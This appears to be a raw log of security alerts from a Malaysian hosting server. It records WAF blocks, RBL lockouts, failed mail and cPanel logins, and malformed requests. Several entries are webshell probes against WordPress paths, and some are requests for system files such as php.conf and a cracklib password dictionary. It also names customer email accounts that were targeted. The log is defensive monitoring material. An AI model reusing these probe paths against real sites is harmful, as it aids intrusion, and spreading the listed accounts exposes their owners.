name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.142
country_id: 1880251
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/krisfood.com/css/responsive.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.187
country_id: 3175395
description:
Jan 19 07:11:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.18
country_id: 2750405
description:
Jan 19 07:14:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.16
country_id: 2750405
description:
Jan 19 07:15:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.242
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/local/apache/conf/php.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.94.5.43
country_id: 1814991
description:
Jan 19 07:17:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.94.5.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.221.130.31
country_id: 1269750
description:
Jan 19 07:18:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.221.130.31 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.196.179
country_id: 2413451
description:
Jan 19 07:17:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.196.179 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.34.23.64
country_id: 248816
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/special/technology/technology01.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.89.208.174
country_id: 1605651
description:
Jan 19 07:19:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.89.208.174 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.166.131.212
country_id: 3625428
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=85251527239639 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 8.217.191.23
country_id: 1819730
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/cracklib/pw_dict.pwd||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.232.194.231
country_id: 3144096
description:
Jan 19 07:20:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.232.194.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.194.231
country_id: 3144096
description:
2026-01-19 07:20:46 dovecot_login authenticator failed for H=(cm-178.232.194.231.get.no) [178.232.194.231]:51094: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/apm/images/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.31.209.102
country_id: 2017370
description:
2026-01-19 07:28:11 dovecot_login authenticator failed for H=95-31-209-102.broadband.corbina.ru [95.31.209.102]:39213: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.31.209.102
country_id: 2017370
description:
Jan 19 07:28:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.31.209.102 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/demos/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.18
country_id: 2750405
description:
Jan 19 07:33:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.21
country_id: 2750405
description:
Jan 19 07:34:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/demos/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.171.221.189
country_id: 3996063
domain: solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/solidfence.com.my/product-posts/product4.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.99
country_id: 2300660
description:
Jan 19 07:39:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.99 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.0.224.10
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:07-40.166.0.224.10||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.122.151
country_id: 1562822
domain: solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/solidfence.com.my/product-posts/assets/img/product/V Shape Fence.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 07:43:27 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57414: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 07:44:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57445: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.98.26
country_id: 1269750
description:
Jan 19 07:45:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.98.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 07:46:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57475: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/sitemap.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.65.137.85
country_id: 3996063
description:
Jan 19 07:48:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.65.137.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.93.165.5
country_id: 3469034
description:
Jan 19 07:49:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.93.165.5 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 07:50:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62602: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.52.219.83
country_id: 3469034
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/event-single.php?id=291502 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.210.188.187
country_id: 1562822
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/product.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.6.16.149
country_id: 3625428
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=82321531898334 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 07:58:06 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53952: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/company.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/eco.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.253.193.118
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=39541515570655 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.238.31.80
country_id: 1819730
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/images/banner3.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 98.158.233.239
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-07.98.158.233.239||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-19 08:09:32 +0800] info [webmaild] 180.75.72.60 - - "GET /apple-touch-icon.png HTTP/1.1" FAILED LOGIN webmaild: login attempt without username


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.23.14.209
country_id: 798544
description:
Jan 19 08:09:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.23.14.209 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.242
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/dbus-1/system.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.168.142
country_id: 2186224
description:
2026-01-19 08:09:55 dovecot_login authenticator failed for H=([121.73.168.142]) [121.73.168.142]:49526: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.12
country_id: 2750405
description:
Jan 19 08:10:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.238.225.221
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.aoto.com.my/product-detail.php?id=3342445745 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.26
country_id: 953987
description:
Jan 19 08:11:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.7.97
country_id: 2395170
description:
Jan 19 08:11:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.7.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.7.97
country_id: 2395170
description:
Jan 19 08:11:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.7.97 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.181.47.172
country_id: 3865483
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/swim/344/260041 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.160.166.161
country_id: 1835841
description:
2026-01-19 08:13:45 dovecot_login authenticator failed for H=([121.160.166.161]) [121.160.166.161]:57262: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 08:14:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58246: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.187.102.180
country_id: 1269750
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/new-development.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.143
country_id: 1880251
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/vendor/animate/animate.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.238
country_id: 1880251
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/vendor/linear-icons/css/linear-icons.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.148
country_id: 1880251
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/css/theme.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.170
country_id: 1880251
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/vendor/font-awesome/webfonts/fa-solid-900.woff2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.177
country_id: 1880251
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/vendor/magnific-popup/magnific-popup.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.195
country_id: 1880251
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/vendor/font-awesome/css/fontawesome-all.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.214
country_id: 1880251
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/css/skins/default.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.138
country_id: 1880251
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/vendor/linear-icons/fonts/Linearicons-Free54e9.woff2?w118d HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.222
country_id: 1880251
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/css/custom.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.203
country_id: 1880251
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/vendor/owl.carousel/assets/owl.carousel.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.223
country_id: 1880251
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/vendor/owl.carousel/assets/owl.theme.default.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.243
country_id: 1880251
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/vendor/bootstrap/css/bootstrap.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.159
country_id: 1880251
domain: pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pspoly.com.my/vendor/font-awesome/webfonts/fa-brands-400.woff2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.35.27.120
country_id: 1269750
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=58491514510228 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/index.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.2
country_id: 1814991
description:
Jan 19 08:22:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.2
country_id: 1814991
description:
2026-01-19 08:22:47 dovecot_login authenticator failed for H=([111.61.177.2]) [111.61.177.2]:31702: 535 Incorrect authentication data (set_id=william_althea@imax.com.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.26.230.221
country_id: 2635167
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-25.23.26.230.221||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.167.2.245
country_id: 3585968
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=10101514885965 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.169.255
country_id: 3469034
description:
Jan 19 08:29:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.169.255 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.106.191
country_id: 3469034
description:
Jan 19 08:29:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.106.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.51.223.15
country_id: 1269750
description:
Jan 19 08:29:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.51.223.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.216.251
country_id: 99237
description:
Jan 19 08:29:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.216.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.128
country_id: 298795
description:
Jan 19 08:29:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.81
country_id: 3469034
description:
Jan 19 08:29:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.81 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.51.207.56
country_id: 3625428
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/machinery.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.128
country_id: 298795
description:
Jan 19 08:30:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.22
country_id: 3469034
description:
Jan 19 08:30:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.177.129.34
country_id: 3865483
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/tactics-durango-issa/smc-classes-spring-2021.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.216.251
country_id: 99237
description:
Jan 19 08:29:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.216.251 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/services.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-19 08:35:06 +0800] info [webmaild] 203.106.96.63 - infocal@sutsb.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 162.142.125.123
country_id: 6252001
description:
2026-01-19  8:35:19 332174 [Warning] Aborted connection 332174 to db: 'unconnected' user: 'unauthenticated' host: '162.142.125.123' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.146.140.79
country_id: 3277605
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/doctrine/dbal/SECURITY.md HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
